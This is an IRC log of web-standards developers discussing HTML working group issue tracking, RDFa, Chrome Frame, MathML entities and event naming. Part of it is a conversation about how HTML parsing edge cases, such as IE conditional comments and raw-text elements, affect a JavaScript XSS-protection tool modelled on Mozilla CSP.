| 00:07 | <TabAtkins> | All right, I'm out for the night. Time to go home where we're currently suffering from Day 12 of no internet. |
| 00:07 | <tantek> | the changing of chairs appears to be more periodic than anything else, occurring every 7-8 months. |
| 00:08 | <Philip`> | Have there been more chair changes than there have been spec publications? |
| 00:40 | <othermaciej> | Philip`: I would guess no, because we published 3 drafts initially and at least one of those has been republished |
| 07:03 | <Tristan> | HTML5 is epic |
| 07:11 | <Hixie> | Tristan: glad you like it :-) |
| 07:11 | <Hixie> | othermaciej: what's the plan for PENDING REVIEW? |
| 07:11 | <Hixie> | othermaciej: should i treat that as closed? |
| 07:11 | <othermaciej> | Hixie: let me review the set of PENDING REVIEW issues |
| 07:12 | <Hixie> | just trying to work out if i should make the green lighter on the chart, to reduce the emphasis |
| 07:12 | <othermaciej> | yes, and I'll propose moving all of those to closed |
| 07:12 | <Hixie> | k |
| 07:12 | <othermaciej> | I suppose in theory future "pending review" issues could be less equivalent to CLOSED |
| 07:13 | <othermaciej> | technically we need them all to be CLOSED to get to LC, if we take the "zero open issues" thing seriously |
| 07:16 | <Hixie> | ok updated the chart correspondingly |
| 07:16 | <Hixie> | i like how you can tell things change each time the chairs change |
| 07:16 | <Hixie> | e.g. as mike came in, "RAISED" is used for the first time |
| 07:17 | <Hixie> | as you come in, the OPEN count drops like a cliff |
| 07:17 | <Hixie> | and when Sam came in, the open count goes up and down suddenly for a month |
| 07:18 | <othermaciej> | can you remind me of the URL? |
| 07:18 | <othermaciej> | I hope I can get the OPEN count to keep dropping |
| 07:18 | <Hixie> | http://damowmow.com/playground/htmlwg/chart.html |
| 07:21 | <othermaciej> | I don't see that much change in issue state around Sam becoming chair - I guess a little jagginess up and down just after |
| 07:21 | <Hixie> | yeah that's all |
| 07:32 | <othermaciej> | ok, I got rid of the 3 Pending Review where I was confident I could do so without further consultation |
| 07:33 | <othermaciej> | I'm confused by the chart |
| 07:33 | <othermaciej> | there are 2 issues in PENDING REVIEW state and just a little while ago there were 5 |
| 07:33 | <othermaciej> | but the chart makes it look like there are 50 |
| 07:33 | <othermaciej> | did you perhaps reverse the CLOSED and PENDING REVIEW counts? |
| 07:33 | <othermaciej> | Hixie: ^ |
| 07:33 | <Hixie> | hm, maybe |
| 07:33 | Hixie | looks |
| 07:35 | <Hixie> | looks like i did, but i can't see why, since i take the states straight from the tracker |
| 07:35 | <Hixie> | oops |
| 07:35 | <Hixie> | i see what happened |
| 07:35 | <Hixie> | i sorted the fields in the header of the csv |
| 07:35 | <Hixie> | but didn't sort the fields of the data rows in the same way! |
| 07:36 | Hixie | regenerates the data |
| 07:36 | <othermaciej> | that explains a lot |
| 07:39 | <othermaciej> | when you remove Origin and split out predefined vocabularies that will let me close 2 more issues by consensus |
| 07:40 | <othermaciej> | if MikeSmith proposes H:TML for FPWD as non-normative that will let me close two others |
| 07:41 | <MikeSmith> | I will do that but not this week |
| 07:41 | <hsivonen> | Hixie: it would be interesting to rerun the script that shows who is responsible for the most email on the list by attracting replies |
| 07:41 | <othermaciej> | I'm just looking for issues that seem resolvable without major wrangling |
| 07:41 | <MikeSmith> | (I was basically off this week for Monday through Wednesday due to the so-called Silver Week holidays here in Japan) |
| 07:42 | <othermaciej> | yeah no prob |
| 07:43 | <othermaciej> | it would be nice to get under 20 OPEN+RAISED |
| 07:43 | <othermaciej> | from Hixie's chart it looks like we were very briefly right at 20 for that total |
| 07:49 | <Hixie> | ok finished tweaking the chart |
| 07:49 | <Hixie> | to have pretty colours |
| 07:53 | Mrmil | would like to see the chart. He likes pretty colours. :) |
| 07:55 | <Hixie> | Mrmil: http://damowmow.com/playground/htmlwg/chart.html |
| 07:55 | <hsivonen> | sigh. http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Sep/0281.html |
| 07:56 | <jgraham> | Mrmil: In this case it will only be pleasing if the particular colours you like are green |
| 07:57 | <Mrmil> | :) I have troubles seeing the very light green. Talk about tilting someones head. Otherwise pretty cool |
| 07:57 | <jgraham> | Speaking of pretty colours though wtf were they thinking at Yahoo when they added the ugly, wavy, serif, *purple* yahoo logo to the clean, san serif, pink and blue flickr logo? |
| 07:58 | <MikeSmith> | hsivonen: I noticed that one too. Isn't that actually an XML spec violation. or at least I'd think that expecting that all UAs are going to behave that way is perhaps not too prudent |
| 07:59 | Mrmil | wonders if Hixie could make a <canvas> tut out of it... |
| 08:00 | <Hixie> | the lightest colour is meant to be more or less invisible |
| 08:01 | <MikeSmith> | light colors in general don't show up so well on my Apple MikeBook |
| 08:01 | <MikeSmith> | I tried doing the gamma-adjustment thing but it doesn't seem to help much |
| 08:02 | <MikeSmith> | or maybe it's a feature that I'm meant to appreciate (the fact that the saturation of the colors changes drastically depending on the angle at which I view the screen) |
| 08:03 | <hsivonen> | MikeSmith: DOM Level 2 represents namespace information items as attributes in a magic namespace. the DOM is semi-bogus in terms of the infoset but at least this part is coherent |
| 08:04 | <MikeSmith> | OK |
| 08:04 | <hsivonen> | coerent but evidently highly unintuitive |
| 08:04 | <hsivonen> | *coherent |
| 08:04 | <othermaciej> | hsivonen: *sigh* because of the DOM Level 1-ness? |
| 08:05 | <hsivonen> | othermaciej: sigh because of "surprise" and completely missing the point |
| 08:05 | <hsivonen> | http://intertwingly.net/blog/2009/09/22/Chromie is awesomeness |
| 08:05 | <othermaciej> | And the follow-up |
| 08:06 | <othermaciej> | hsivonen: it's kind of funny that his implementation was designed to work in HTML rather than XHTML when the spec covers the latter but not the former |
| 08:06 | <hsivonen> | othermaciej: and Level 1-ness also |
| 08:07 | <hsivonen> | othermaciej: no so funny if one wants proper specs for the platform |
| 08:09 | <othermaciej> | hsivonen: changing the subject a few degrees - assuming it's intended to capture both real XML namespace declarations, and attributes in HTML that look like them, should the processing requirements say to consider any attribute whose tagName starts with "xmlns:", or separately attributes in the xmlns namespace and attributes in the null namespace whose localNames start with "xmlns:"? |
| 08:09 | <othermaciej> | hsivonen: and should both be allowed in both syntaxes? |
| 08:10 | <hsivonen> | othermaciej: I think dispatching on nodeName is achitecturally unsound |
| 08:11 | <othermaciej> | I'm not sure if it's practically different from the two-pronged test |
| 08:11 | <hsivonen> | othermaciej: I don't want to go there, but maybe the spec needs to go there to paper over the damage |
| 08:11 | <othermaciej> | is it possible to get an attribute whose nodeName starts with "xmlns:" without it being in either the null namespace or the xmlns namespace? |
| 08:12 | <Hixie> | i can't believe y'all are spending so much time on something as fundamentally broken as rdfa |
| 08:12 | <hsivonen> | othermaciej: not AFAICT |
| 08:13 | <othermaciej> | so either way of saying it would be equivalent in practice, though perhaps the two-pronged version seems architecturally cleaner |
| 08:13 | <othermaciej> | Hixie: my thinking on RDFa is that it's less damaging to spec it soundly and unambiguously (including use in text/html) than to not spec it |
| 08:14 | <othermaciej> | not because I think it's awesome but because failing to spec it will just create more interop failure |
| 08:14 | <hsivonen> | Hixie: my interest is damage mitigation to parts of the stack I work on |
| 08:14 | <othermaciej> | otoh maybe the process of specing it will result in some enhancements that make it easier to use right |
| 08:15 | <jgraham> | Hixie: I am strongly reminded of the Sirius Cybernetics Corporation: "[o]ne is blinded to the fundamental uselessness of their products by the sense of achievement one feels in getting them to work at all. In other words, their fundamental design flaws are completely hidden by their superficial design flaws." |
| 08:16 | <othermaciej> | that being said, it seems funny that people who don't like RDFa at a design level are much more interested in having a really precise spec for it than people who do like it |
| 08:19 | <zcorpan> | hsivonen: i guess it shows Ben's level of experience with XHTML and the DOM |
| 08:20 | <Hixie> | it's more that the time you're spending on this feature is time not spent on many much more important features that much more desperately need speccing |
| 08:20 | <Hixie> | like, DOM Core |
| 08:20 | <Hixie> | user interaction events like 'click' |
| 08:20 | <Hixie> | even DOM Traversal and DOM Range would be more important than RDFa |
| 08:20 | <erlehmann> | Hixie, about the metadata issue. when do you think will this part of the spec have a chance of becoming stable ? |
| 08:20 | <Hixie> | erlehmann: hm? |
| 08:21 | <othermaciej> | I don't think I can help DOM Core without a competent person stepping up to be editor |
| 08:21 | <othermaciej> | but I can probably help File API |
| 08:21 | <othermaciej> | planning to go over it with weinig and/or ap soon |
| 08:22 | <erlehmann> | Hixie, well, when i built something with microdata and the spec changed, i raged a little for being so careless and not asking if this feature is intended to be stable. |
| 08:22 | <erlehmann> | so i guess i should use RDFa for now, till HTML5 gets its way |
| 08:23 | <Hixie> | erlehmann: oh you mean microdata? |
| 08:24 | <Hixie> | erlehmann: we're doing studies for microdata in the coming days, the spec should be done in a few weeks |
| 08:24 | <erlehmann> | oh nice :) |
| 08:25 | <zcorpan> | i wonder if chrome frame looks at the x-ua-compatible http header |
| 08:26 | <erlehmann> | zcorpan, i wonder why chrome frame doesn't actually trigger when IE is in „standards“ mode. |
| 08:26 | <zcorpan> | erlehmann: that'd break sites |
| 08:27 | <zcorpan> | well, to the same extent they break in chrome, i guess, but surely that's enough for people to uninstall the plugin |
| 08:27 | <erlehmann> | zcorpan, really ? wouldnt IE-broken sites trigger quirks mode anyway ? |
| 08:27 | <zcorpan> | erlehmann: uh, no |
| 08:28 | <erlehmann> | zcorpan, so what kind of breakage are you referring to ? i must admit i have not touched internet explorer for more than a year, except to make test screenshots of CSS layouts (does everything look alright ? hell, no.). |
| 08:29 | <zcorpan> | well, imagine a bank that uses an xhtml doctype and requires activex to log in |
| 08:30 | <erlehmann> | doesn't chrome come with an activeX shim plugin, like mozilla browsers do on windows ? |
| 08:30 | <zcorpan> | dunno |
| 08:31 | <zcorpan> | does firefox have an activex shim by default? |
| 08:31 | <hsivonen> | zcorpan: not by default afaik |
| 08:32 | <zcorpan> | ok |
| 08:32 | <hsivonen> | zcorpan: that wouldn't promote freedom and choice of OS on the Internet |
| 08:32 | <zcorpan> | indeed |
| 08:33 | <erlehmann> | wise words, hsivonen, wise words. |
| 08:33 | <zcorpan> | i wonder, will chrome frame be able to run in chrome's quirks mode? |
| 08:35 | zcorpan | notes that http://ben.adida.net/index.xhtml has its style sheet commented out |
| 08:36 | <zcorpan> | Hixie: maybe we should change <style>'s and <script>'s processing model to also look at comment nodes, not just text nodes |
| 08:36 | <Hixie> | why would we do that |
| 08:36 | <Philip`> | Just tell people not to use comments in style/script |
| 08:36 | <hsivonen> | zcorpan: XML processors are permitted to discard comments |
| 08:37 | <zcorpan> | hsivonen: hmm, good point |
| 08:37 | <Philip`> | and if they still want Netscape 2 compatibility then they shouldn't be using XHTML |
| 08:37 | <zcorpan> | Hixie: to ease migration to xhtml |
| 08:37 | <Hixie> | comments are comments |
| 08:37 | <Hixie> | we're not going to execute script in comments |
| 08:37 | <Hixie> | that's a security nightmare waiting to happen |
| 08:49 | <Hixie> | ok last chance for people to comment on the microdata study materials http://damowmow.com/playground/microdata/ |
| 09:04 | zcorpan | looks |
| 09:06 | <zcorpan> | Hixie: you're not going to do usability study on reversed dns identifiers? |
| 09:06 | <Hixie> | no |
| 09:06 | <Hixie> | not sure how we would do that |
| 09:32 | <Philip`> | "the time you're spending on this feature is time not spent on many much more important features that much more desperately need speccing, like, DOM Core, user interaction events like 'click'" - those would require us to do all the work, whereas with RDFa the RDFa people can do most of the work and just need to be guided in the direction that we want |
| 09:35 | <Philip`> | http://groups.google.com/group/google-chrome-frame/msg/c9fd31929ff7d7fc - "we aren't supporting the HTTP header (although we do support a separate MIME type, application/chromeframe)" |
| 09:35 | <Hixie> | sending e-mails is free? |
| 09:38 | <Philip`> | No, but the effect can be much greater than the effort put into writing it |
| 09:40 | <zcorpan> | Philip`: ouch, separate mime type? |
| 09:40 | <jgraham> | ?!? |
| 09:41 | <Philip`> | Seems perfectly sensible given that MIME types are designed to identify the client, not the content |
| 09:41 | <Philip`> | (by which I mean the exact opposite) |
| 09:41 | <zcorpan> | what is the chrome team smoking? |
| 09:42 | <zcorpan> | is there a heading sent with the request to tell the server that the plugin is available? |
| 09:43 | <Philip`> | I think someone said it adds "chromeframe" to the UA string |
| 09:44 | <Philip`> | (Maybe the MIME type is just an implementation detail of how they make IE re-render the page using the new engine, or something, and not intended to be used externally) |
| 09:45 | <zcorpan> | at some point we should do a crawl with the chromeframe UA string to see how many return application/chromeframe |
| 09:51 | <Philip`> | http://wave.google.com/ - <meta name="keywords” content=”online collaboration, online communication, collaborative editing, web application, photo sharing,developer preview" /> - hooray for curly quotes |
| 09:52 | <Philip`> | (They don't even make the page invalid) |
| 09:53 | <Philip`> | (Actually I suppose they do in HTML5 because the keyword won't be recognised) |
| 09:53 | <Philip`> | (...and because there's no content attribute) |
| 09:54 | <Philip`> | (So, okay, they do make the page invalid) |
| 09:55 | hsivonen | foresees trouble with the chrome frame MIME type |
| 09:56 | <hsivonen> | in other news, I got a split parser Gecko finally show me some content |
| 09:57 | <zcorpan> | hmm, two new entities |
| 09:57 | <zcorpan> | + <tr> <td> <code title="">bsolhsub;</code> </td> <td> U+027C8 </td> </tr> |
| 09:57 | <zcorpan> | + <tr> <td> <code title="">suphsol;</code> </td> <td> U+027C9 </td> </tr> |
| 09:57 | <hsivonen> | sigh. the dual parser core stuff still isn't right, though |
| 09:58 | <hsivonen> | zcorpan: did the Math WG just mint those? |
| 09:58 | <zcorpan> | dunno |
| 09:58 | jgraham | wonders what those represent |
| 09:58 | <jgraham> | Because they look more like fortran 77 variable names than anything |
| 09:59 | <zcorpan> | i wonder why mathml has all these entities at all |
| 09:59 | <jgraham> | zcorpan: It's nice for hand authouring, like LaTeX. |
| 09:59 | <zcorpan> | mathml is not nice for hand authoring |
| 09:59 | <jgraham> | Of course the rest of MathML sucks for hand authoring |
| 10:07 | <erlehmann> | SEE WHAT MATHML DOES TO IRC ? |
| 10:12 | <zcorpan> | erlehmann: shh, don't mention its name |
| 10:13 | <erlehmann> | zcorpan, but you were AWAY |
| 10:14 | <zcorpan> | each entity causes 3 users to disconnect |
| 10:16 | <jgraham> | U+27C8 Reverse Solidus Preceding Subset |
| 10:16 | <jgraham> | U+27C9 Superset Preceding Solidus |
| 10:19 | <sirdarckcat> | Hello! is there anybody alive? |
| 10:19 | <Hixie> | i'm alive! |
| 10:20 | <jgraham> | Everyone's dead Dave |
| 10:20 | <sirdarckcat> | hey :), could you give me suggestions about a security program Im making in javascript.. part of it is to parse HTML, and I have some doubts |
| 10:21 | <sirdarckcat> | this case: <script>x='<a href="</script>">';</script> |
| 10:21 | <sirdarckcat> | should I make an exception for certain tags? |
| 10:21 | <sirdarckcat> | or whats the deal with <script> |
| 10:22 | <zcorpan> | sirdarckcat: what are you trying to do? |
| 10:22 | <sirdarckcat> | do you know CSP? |
| 10:23 | <sirdarckcat> | Im trying to implement something similar to CSP, but as a javascript script |
| 10:23 | <sirdarckcat> | apparently, it is possible... |
| 10:23 | <sirdarckcat> | but the HTML parser and CSS parsers are a headache |
| 10:23 | <sirdarckcat> | even JS is easier |
| 10:24 | zcorpan | doesn't know what CSP is |
| 10:24 | <sirdarckcat> | this is my simple HTML parser example: http://eaea.sirdarckcat.net/testhtml.html it removes some dangerous elements |
| 10:24 | <sirdarckcat> | Mozilla CSP - Content Security Policy |
| 10:24 | <zcorpan> | ah |
| 10:24 | <sirdarckcat> | https://wiki.mozilla.org/Security/CSP |
| 10:25 | <sirdarckcat> | My approach is something like..... |
| 10:25 | <zcorpan> | i guess you need to have an html5 parser and a sanitizer |
| 10:25 | <sirdarckcat> | <html><head><script src="/acs.js">/*your-policy-here*/</script>... the rest of the html code ... |
| 10:26 | <sirdarckcat> | well... Im targetting at quirks mode first |
| 10:26 | <sirdarckcat> | but yeah |
| 10:26 | <zcorpan> | quirks mode only affects <p><table> parsing |
| 10:26 | <sirdarckcat> | oh, then.. not-standards-compilant-html-parsers |
| 10:27 | <sirdarckcat> | everything is pretty easy I think, except stuff like what to do with unclosed comments, with unclosed tags, wich characters should close an HTML tag before an >, etc.. |
| 10:28 | <Philip`> | So everything's pretty easy except for all the hard parts (which HTML5 defines)? :-) |
| 10:28 | <sirdarckcat> | yep |
| 10:28 | <sirdarckcat> | haha |
| 10:28 | <zcorpan> | <script>x='<a href="</script>">';</script> results in a script containing "x='<a href="" followed by the text "">';" and the straw </script> tag is dropped |
| 10:28 | <sirdarckcat> | zcorpan, yeah.. but hmm which tags behave like this? |
| 10:29 | <sirdarckcat> | only script and style? |
| 10:29 | <zcorpan> | script and style are RAWTEXT elements |
| 10:29 | <zcorpan> | um |
| 10:29 | <zcorpan> | and xmp |
| 10:29 | <sirdarckcat> | oh |
| 10:29 | <zcorpan> | and probably more i'm forgetting |
| 10:29 | <zcorpan> | you should really use an html5 parser :) |
| 10:30 | <zcorpan> | v.nu is available in javascript |
| 10:30 | <zcorpan> | the parser, that is |
| 10:30 | <sirdarckcat> | well, yeah I will use an html5 parser, but.. I dont want to break existing websites.. I know one of the aims of html5 is this but... |
| 10:30 | <sirdarckcat> | so I will allow the developer to choose |
| 10:31 | <sirdarckcat> | the html5 parser, or the paranoic parser |
| 10:31 | <sirdarckcat> | mine is paranoic |
| 10:31 | <zcorpan> | i think chances are the paranoic parser is more likely to break existing websites :P |
| 10:32 | <sirdarckcat> | mmm why? |
| 10:32 | <jgraham> | sirdarckcat: What makes you think that your parser works better than a HTML5 parser |
| 10:32 | <jgraham> | ? |
| 10:32 | <sirdarckcat> | well, its not that it works better.. is that its made specially for the project Im doing hehe |
| 10:32 | <zcorpan> | because it's nontrivial to get all the details right and existing content depends on getting all the details right |
| 10:32 | <sirdarckcat> | well, the purpose of the project is to protect against web-based threads |
| 10:33 | <erlehmann> | sirdarckcat why is that so? |
| 10:33 | <sirdarckcat> | so I made several decisions based on that objective |
| 10:33 | <zcorpan> | web-based threads? |
| 10:33 | <sirdarckcat> | welll.. mostly xss |
| 10:33 | <Philip`> | sirdarckcat: The security comes from the sanitiser and serialiser, not the parser |
| 10:33 | <Philip`> | so the parser might as well be optimised for compatibility instead |
| 10:33 | <zcorpan> | ah, threats |
| 10:34 | <sirdarckcat> | yeah threats sorry haha, philip: well.. yes and no |
| 10:34 | <jgraham> | Didn't you know that the web is actually woven from fine thread? |
| 10:34 | <zcorpan> | jgraham: true |
| 10:35 | <sirdarckcat> | the differences I have are cases like: <a x"href=".... |
| 10:35 | <zcorpan> | what about <a x"href="? |
| 10:35 | <sirdarckcat> | and hmm, maybe how to behave where there's an unclosed < |
| 10:36 | <erlehmann> | sirdarckcat, your toy breaks my javascript trickery |
| 10:36 | <erlehmann> | is it intended that it kills stylesheet and ALL scripts as well ? |
| 10:36 | <sirdarckcat> | and stuff, I dont agree with html5.. haha since as an attacker I see that other approaches are safer (even if not so compatible) |
| 10:36 | <jgraham> | sirdarckcat: I don't understand waht you are saying |
| 10:36 | <sirdarckcat> | @erlehmann -> I disable them for the moment I can disable that if you want |
| 10:36 | <erlehmann> | sirdarckcat, i dont quite get what you are doing. |
| 10:37 | <erlehmann> | making pages safer by WHAT ? |
| 10:37 | <sirdarckcat> | basically, its a js-implementation of Mozilla CSP |
| 10:38 | <Hixie> | all in favour of me renaming "onseeked" to the more technically correct "onsought"? |
| 10:38 | <zcorpan> | Hixie: no |
| 10:38 | <jgraham> | Hixie: Seriously? |
| 10:38 | <hsivonen> | Hixie: have implementations shipped? |
| 10:38 | <Philip`> | I don't think I've ever heard the term "sought" used in the context of media seeking |
| 10:39 | <zcorpan> | sought is like spelling language |
| 10:39 | <zcorpan> | plus, onseeked is implemented already |
| 10:39 | <hsivonen> | I think we have a new Referer here |
| 10:39 | <jgraham> | sirdarckcat: We made a sanitizer on top of html5lib that passes these tests: http://code.google.com/p/html5lib/source/browse/testdata/sanitizer/tests1.dat |
| 10:40 | Hixie | informs his partner that he will be sticking with "seeked", english be damned |
| 10:40 | <jgraham> | (and some more actually) |
| 10:40 | <Hixie> | (carey is an english major, so apparently this is irksome) |
| 10:40 | <zcorpan> | hsivonen: firefox 3.5 fires 'seeked' events |
| 10:41 | <hsivonen> | zcorpan: OK. then no, it's not a good idea to rename the event |
| 10:41 | <erlehmann> | good that i only use timeupdate |
| 10:41 | <jgraham> | onsought sounds wrong to me anyway |
| 10:41 | <erlehmann> | maybe you should let this carey approve your commits as well, Hixie |
| 10:42 | <erlehmann> | ;) |
| 10:42 | <Hixie> | i didn't seriously consider renaming the event |
| 10:42 | <Hixie> | though having onsought would be pretty hilarious |
| 10:42 | <erlehmann> | onslaught ! |
| 10:42 | <sirdarckcat> | @jgraham how do I test the sanitizer? |
| 10:42 | <zcorpan> | erlehmann: that's what i was going to say |
| 10:43 | <erlehmann> | zcorpan, thats what your mom said ^^ |
| 10:43 | <jgraham> | sirdarckcat: clone the html5lib hg repository. Go to python/tests/ and run python test_sanitizer.py |
| 10:44 | <sirdarckcat> | thanks :) |
| 10:44 | <erlehmann> | jgraham, did you just utterly destroy everything sirdarckcat worked so hard for ? |
| 10:45 | <sirdarckcat> | haha well I dont think so, I want to find a bypass to the sanitizer |
| 10:45 | <sirdarckcat> | I will stick with the parser |
| 10:46 | <sirdarckcat> | for example, apparently IE conditional comments are deleted by the sanitizer.. |
| 10:46 | <sirdarckcat> | and IE's conditoonal comments suck... <!--[if true]><img src="-->" alt="<![endif]>"> |
| 10:48 | <zcorpan> | how does ie tokenize conditional comments? |
| 10:49 | <sirdarckcat> | in that case, thats an image |
| 10:49 | <sirdarckcat> | oops |
| 10:49 | <sirdarckcat> | wait |
| 10:49 | <sirdarckcat> | <!--[if true]><img src="-->" alt=""><![endif]> |
| 10:49 | <sirdarckcat> | should be like that haha |
| 10:50 | <sirdarckcat> | and ie allows nested comments |
| 10:50 | <sirdarckcat> | <!--[if true]> <!--[if true]>1 <![endif]-->2 <![endif]-->3 |
| 10:51 | <sirdarckcat> | and I want to support that :S, but iirc html5 is not compatible with IE weirdness (anyway, I dissagree with ie's parsing rules, I want to support them) |
| 10:52 | <zcorpan> | what do you mean by support? |
| 10:52 | <zcorpan> | wouldn't you just want to emit what other browsers would treat it as, i.e. "23"? |
| 10:52 | <zcorpan> | uh |
| 10:52 | <zcorpan> | "2 3" |
| 10:52 | <sirdarckcat> | well... parse what is inside the comment as IE would (or the best I can at least) |
| 10:53 | <zcorpan> | which version of ie? |
| 10:53 | <sirdarckcat> | all versions |
| 10:53 | <zcorpan> | they're all different |
| 10:53 | <sirdarckcat> | I mean, all support this comment stuff |
| 10:54 | <zcorpan> | so what would you do with <!--[if IE 7]>x<![endif]--> ? |
| 10:54 | <sirdarckcat> | @zcorpan, I want to make a parser that will show 1 2 3 on IE and 2 3 on other browsers |
| 10:54 | <roc> | "DrWatson Postmortem Debugger has encountered a problem and needs to close. We are sorry for the inconvenience." sigh |
| 10:55 | <sirdarckcat> | @zcorpan, I generate an HTML comment with the content: [if IE 7]>x<![endif] |
| 10:55 | <sirdarckcat> | thats easy |
| 10:55 | <sirdarckcat> | this is not easy: <!--[if IE 7]><img src="<![endif]-->"><![endif]--> |
| 10:55 | <sirdarckcat> | :( |
| 10:56 | <zcorpan> | i thought you wanted to show the x if the browser is ie7 |
| 10:56 | <sirdarckcat> | anyway.. those are some of the diffs between html5 and my parser, the comments-inside-attribute-names are other diffs |
| 10:56 | <sirdarckcat> | @zcorpan IE will do that |
| 10:56 | <zcorpan> | oh so you serialize and let the browser reparse |
| 10:56 | <sirdarckcat> | I do... document.write(safeCode.innerHTML); |
| 10:56 | <zcorpan> | ah |
| 10:56 | <sirdarckcat> | yep |
| 10:56 | <sirdarckcat> | :) |
| 10:57 | <sirdarckcat> | anyway, I really hate IE and Opera |
| 10:57 | <sirdarckcat> | they do it wrong |
| 10:57 | <sirdarckcat> | anyway... |
| 10:57 | <zcorpan> | what about <![if !IE]>x<![endif]> |
| 10:57 | <sirdarckcat> | that's left the same |
| 10:57 | <sirdarckcat> | I create an element <![if IE]> |
| 10:57 | <sirdarckcat> | only IE supports doing that |
| 10:57 | <sirdarckcat> | but, thats ok |
| 10:58 | <sirdarckcat> | only IE supports conditional comments anyway |
| 10:58 | <zcorpan> | what will happen in other browsers? |
| 10:58 | <sirdarckcat> | I ignore it |
| 10:58 | <zcorpan> | ok |
| 10:59 | <sirdarckcat> | anyway.. the way Im parsing the HTML code is not compatible with the rawtext elements :( |
| 10:59 | <sirdarckcat> | so I was wondering, if there are other cases I may be missing |
| 11:01 | <zcorpan> | "The following HTML elements have varying levels of special parsing rules: address, area, article, aside, base, basefont, bgsound, blockquote, body, br, center, col, colgroup, command, datagrid, dc, dd, details, dir, div, dl, ds, dt, embed, fieldset, figure, footer, form, frame, frameset, h1, h2, h3, h4, h5, h6, head, header, hgroup, hr, iframe, img, input, isindex, li, link, listing, menu, meta, nav, noembed, noframes, noscript, ol, p, |
| 11:01 | <zcorpan> | plaintext, pre, script, section, select, spacer, style, tbody, textarea, tfoot, thead, title, tr, ul, wbr, and xmp." |
| 11:02 | <sirdarckcat> | wow |
| 11:02 | <sirdarckcat> | haha |
| 11:02 | <zcorpan> | and then there's scoping elements and formatting elements |
| 11:03 | <zcorpan> | read the spec :) |
| 11:03 | <sirdarckcat> | hmm, I have (sort of.. not all hehe) |
| 11:03 | <zcorpan> | have you read section 9.2? |
| 11:05 | <sirdarckcat> | btw, about scoping elements and formating elements, the browsers fix this in the dom, so usually I dont have to check for that.. and the other edge case I handle is plaintext, (and xmp/script/style at some degree) but I didnt know all those had special treatments |
| 11:05 | <sirdarckcat> | let me check |
| 11:05 | <sirdarckcat> | 9.2 is parsing |
| 11:06 | <sirdarckcat> | yeah |
| 11:06 | <zcorpan> | if you've read it, it shouldn't come as a surprise that all those elements have special treatments |
| 11:07 | <sirdarckcat> | hmmm thanks for the pointerm I miss-readed that |
| 11:07 | <sirdarckcat> | I beleived the browser was going to alert on those cases automatically |
| 11:07 | <zcorpan> | alert how? |
| 11:08 | <sirdarckcat> | well, like trying to put an <li> outside list, or <option>, trying to append an html node inside a <xmp> |
| 11:08 | <sirdarckcat> | or trying to append a node inside an image |
| 11:09 | <sirdarckcat> | in my tests all browsers didnt allow to do that in the DOM |
| 11:09 | <sirdarckcat> | so I just trusted them |
| 11:09 | <zcorpan> | i don't follow |
| 11:10 | <sirdarckcat> | document.createElement("img").appendChild(document.createElement("p")) |
| 11:10 | <sirdarckcat> | oh wait |
| 11:10 | <sirdarckcat> | are special parsing rules |
| 11:10 | <gsnedders> | What you do through DOM manipulation has no effect on parsing of HTML. |
| 11:10 | <erlehmann> | dc ? |
| 11:11 | <sirdarckcat> | hmm |
| 11:11 | <sirdarckcat> | Im confused |
| 11:11 | <sirdarckcat> | "The following HTML elements have varying levels of special parsing rules" |
| 11:11 | annevk2 | wonders how much actually would break if HTTP interpreters switched to UTF-8 |
| 11:11 | <gsnedders> | annevk2: A fair number of password forms |
| 11:11 | <sirdarckcat> | where are the special parsing rules? |
| 11:12 | <annevk2> | gsnedders, aah, really? |
| 11:13 | <annevk2> | gsnedders, they use iso-8859-1? |
| 11:13 | <zcorpan> | sirdarckcat: in http://www.whatwg.org/specs/web-apps/current-work/multipage/tokenization.html#tree-construction |
| 11:13 | <annevk2> | or more likely windows-1252 |
| 11:13 | <gsnedders> | annevk2: Yup. I don't it's defined how they cope with stuff outside of that, though it obviously works. |
| 11:13 | <gsnedders> | annevk2: Some UAs use ISO-8859-1, others Windows-1252. It doesn't seem to matter for compat which. |
| 11:16 | <zcorpan> | sirdarckcat: for a trivial case of special parsing rules, see "address" (which closes <p> but is otherwise like a normal element) |
| 11:16 | <sirdarckcat> | @zcorpan wow, I;ve been in that page before but well.. as I said I just made the wrong assumptions on how the browser accepts or doesnt accept the content of the DOM |
| 11:18 | <sirdarckcat> | I'll read the spec more carefully now :) |
| 11:26 | <Philip`> | Reading specs carefully is a good idea :-) |
| 11:26 | <Philip`> | Well, depending on what spec it is |
| 11:26 | <jgraham> | Philip`: Only if you like complaining about them |
| 11:26 | <Philip`> | Some you just need to gather the general concepts from the spec and then trust the details will work themselves out |
| 11:27 | <zcorpan> | like HTML+RDFa |
| 11:28 | <Philip`> | That's not really a spec, it's just an early draft with lots of acknowledged issues |
| 11:28 | <Philip`> | Better to pick on examples that are Recs :-) |
| 11:28 | <jgraham> | HTML4 |
| 11:30 | <sirdarckcat> | oh, btw.. if someone is interested about the project.. evendo it will utlimatelly probably going to be replaced by Mozilla CSP (once and if its implemented by all browsers), its here: http://google.sirdarckcat.net/acs.doc it has more features than CSP, but well heh |
| 11:31 | <jgraham> | Oh, that really is a Word document. |
| 11:31 | <jgraham> | Nevermind then, I guess |
| 11:32 | <sirdarckcat> | haha.. yes its word.. sorry |
| 11:33 | <sirdarckcat> | one guy from mozilla ask me the documentation, I sent him the doc and then he replied "sorry, I dont use MS office".. xD |
| 11:33 | <sirdarckcat> | I was tempted to send him a link to openoffice :P but well... |
| 11:34 | <zcorpan> | he would probably reply "sorry, I dont use openoffice" |
| 11:35 | <Philip`> | You know, there's this document format that works pretty well on the web |
| 11:35 | <Philip`> | It even loads directly in a web browser, without requiring you to download hundreds of megabytes of office suite |
| 11:35 | <jgraham> | Philip`: Yeah, PDF is great |
| 11:35 | <erlehmann> | wat |
| 11:36 | <zcorpan> | Silverlight? |
| 11:36 | <zcorpan> | or is that not a document format? |
| 11:36 | <jgraham> | VRML? |
| 11:37 | <erlehmann> | interactive MNG |
| 11:38 | <sirdarckcat> | http://docs.google.com/View?id=ddqtfnx3_381fxp3zjf3 |
| 11:38 | <roc> | zcorpan: the Silverlight/WPF PDF-alike is called XPS |
| 11:39 | <Philip`> | I think I was using IE8 on Vista and wanted to print a web page to a file |
| 11:40 | <Philip`> | and it had an XPS Writer printer thing |
| 11:40 | <Philip`> | so I did that, but I couldn't manage to open the XPS file again |
| 11:40 | <Philip`> | It just gave me .NET error messages whenever I tried |
| 11:41 | <sirdarckcat> | try openoffice, it can read xps |
| 11:41 | <Philip`> | If I remember correctly, it also got confused because it tried opening the XPS in my default browser, which was no IE, and the XPS viewer seems to be embedded in IE or something |
